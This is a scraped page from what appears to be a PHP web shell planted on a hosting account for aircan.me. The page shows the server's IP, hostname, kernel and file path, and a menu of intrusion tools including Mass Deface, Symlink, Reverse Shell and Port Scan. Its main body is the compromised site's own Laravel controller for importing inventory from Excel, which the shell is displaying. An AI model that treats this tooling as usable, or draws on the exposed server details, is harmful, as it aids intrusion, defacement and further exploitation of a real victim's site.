Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Controllers
/
Viewing: ImportController.php
<?php namespace App\Http\Controllers; use App\Models\Producto; use App\Models\Ubicacion; use App\Models\StockUbicacion; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; use PhpOffice\PhpSpreadsheet\IOFactory; class ImportController extends Controller { public function showImportForm() { return view('import.form'); } public function importInventario(Request $request) { $request->validate([ 'file' => 'required|file|mimes:xls,xlsx' ]); try { ini_set('memory_limit', '512M'); DB::beginTransaction(); // Obtener la bodega principal $bodega = Ubicacion::where('tipo', 'bodega') ->where('estado', true) ->firstOrFail(); Log::info('Iniciando importación de inventario'); // Leer el archivo Excel $inputFileName = $request->file('file')->getRealPath(); Log::info('Leyendo archivo:', ['path' => $inputFileName]); // Crear el lector $reader = IOFactory::createReader('Xlsx'); $reader->setReadDataOnly(true); // Verificar si el archivo tiene hojas if (!$reader->canRead($inputFileName)) { throw new \Exception('El archivo no es un archivo Excel válido.'); } // Cargar el libro $spreadsheet = $reader->load($inputFileName); // Verificar si hay hojas disponibles if ($spreadsheet->getSheetCount() === 0) { throw new \Exception('El archivo Excel no contiene hojas.'); } // Obtener la primera hoja $worksheet = $spreadsheet->getSheet(0); Log::info('Hoja cargada:', ['nombre' => $worksheet->getTitle()]); $productos_creados = 0; $productos_actualizados = 0; $errores = []; // Obtener el rango de filas con datos $highestRow = $worksheet->getHighestRow(); Log::info('Número de filas encontradas:', ['rows' => $highestRow]); // Procesar por lotes $batchSize = 100; // Saltar la primera fila (encabezados) for ($row = 2; $row <= $highestRow; $row++) { try { // Leer datos de la fila $codigo = trim($worksheet->getCell("A{$row}")->getValue()); // Saltar filas vacías if (empty($codigo)) { continue; } $nombre = trim($worksheet->getCell("B{$row}")->getValue()); $descripcion = trim($worksheet->getCell("C{$row}")->getValue() ?? $nombre); $precio_compra = $this->convertirNumero($worksheet->getCell("D{$row}")->getValue()); $precio_venta = $this->convertirNumero($worksheet->getCell("E{$row}")->getValue()); $stock_minimo = (int)$worksheet->getCell("F{$row}")->getValue(); $stock = (int)$worksheet->getCell("G{$row}")->getValue(); $unidad_medida = trim($worksheet->getCell("H{$row}")->getValue()); // Normalizar unidad de medida $unidad_medida = $this->normalizarUnidadMedida($unidad_medida); // Validar datos mínimos if (empty($nombre)) { throw new \Exception("El nombre es requerido"); } Log::info("Procesando producto", [ 'fila' => $row, 'codigo' => $codigo, 'nombre' => $nombre, 'unidad_medida' => $unidad_medida ]); // Crear o actualizar producto $producto = Producto::updateOrCreate( ['codigo' => $codigo], [ 'nombre' => $nombre, 'descripcion' => $descripcion, 'precio_compra' => $precio_compra, 'precio_venta' => $precio_venta, 'stock_minimo' => $stock_minimo, 'stock' => $stock, 'unidad_medida' => $unidad_medida, 'estado' => true ] ); // Actualizar stock en ubicación StockUbicacion::updateOrCreate( [ 'producto_id' => $producto->id, 'ubicacion_id' => $bodega->id ], ['stock' => $stock] ); if ($producto->wasRecentlyCreated) { $productos_creados++; } else { $productos_actualizados++; } // Liberar memoria cada cierto número de registros if ($row % $batchSize === 0) { DB::commit(); DB::beginTransaction(); gc_collect_cycles(); } } catch (\Exception $e) { $errores[] = "Error en fila $row: " . $e->getMessage(); Log::error("Error procesando fila", [ 'fila' => $row, 'error' => $e->getMessage() ]); } } DB::commit(); // Liberar memoria $spreadsheet->disconnectWorksheets(); unset($spreadsheet); gc_collect_cycles(); Log::info('Importación completada', [ 'creados' => $productos_creados, 'actualizados' => $productos_actualizados, 'errores' => count($errores) ]); return redirect()->back()->with([ 'success' => "Importación completada. Productos creados: $productos_creados, actualizados: $productos_actualizados", 'errores' => $errores ]); } catch (\Exception $e) { DB::rollback(); Log::error('Error general en importación', [ 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString() ]); return redirect()->back() ->with('error', 'Error en la importación: ' . $e->getMessage()) ->withErrors(['file' => $e->getMessage()]); } } private function convertirNumero($valor) { if (empty($valor)) return 0; if (is_string($valor)) { $valor = str_replace(['$', ',', ' '], '', $valor); } return floatval($valor); } /** * Normaliza la unidad de medida a los valores aceptados por el sistema */ private function normalizarUnidadMedida($unidad) { if (empty($unidad)) { return 'unit'; // Por defecto: unidad } $unidad = strtolower(trim($unidad)); // Mapeo de valores comunes a los valores del sistema $mapeo = [ // Unidades 'unidad' => 'unit', 'unidades' => 'unit', 'und' => 'unit', 'un' => 'unit', 'u' => 'unit', 'unit' => 'unit', 'pza' => 'unit', 'pieza' => 'unit', 'piezas' => 'unit', // Kilogramos 'kg' => 'kg', 'kilo' => 'kg', 'kilos' => 'kg', 'kilogramo' => 'kg', 'kilogramos' => 'kg', // Gramos 'g' => 'g', 'gr' => 'g', 'gramo' => 'g', 'gramos' => 'g', // Litros 'l' => 'l', 'lt' => 'l', 'lts' => 'l', 'litro' => 'l', 'litros' => 'l', // Mililitros 'ml' => 'ml', 'mililitro' => 'ml', 'mililitros' => 'ml', 'cc' => 'cc', // Bultos/Cajas 'bulto' => 'bulto', 'bultos' => 'bulto', 'caja' => 'bulto', 'cajas' => 'bulto', 'paquete' => 'bulto', 'paquetes' => 'bulto', 'pack' => 'bulto', // Metros 'm' => 'm', 'mt' => 'm', 'mts' => 'm', 'metro' => 'm', 'metros' => 'm', // Libras 'lb' => 'lb', 'lbs' => 'lb', 'libra' => 'lb', 'libras' => 'lb', ]; return $mapeo[$unidad] ?? 'unit'; } }
Coded With 💗 by
0x6ick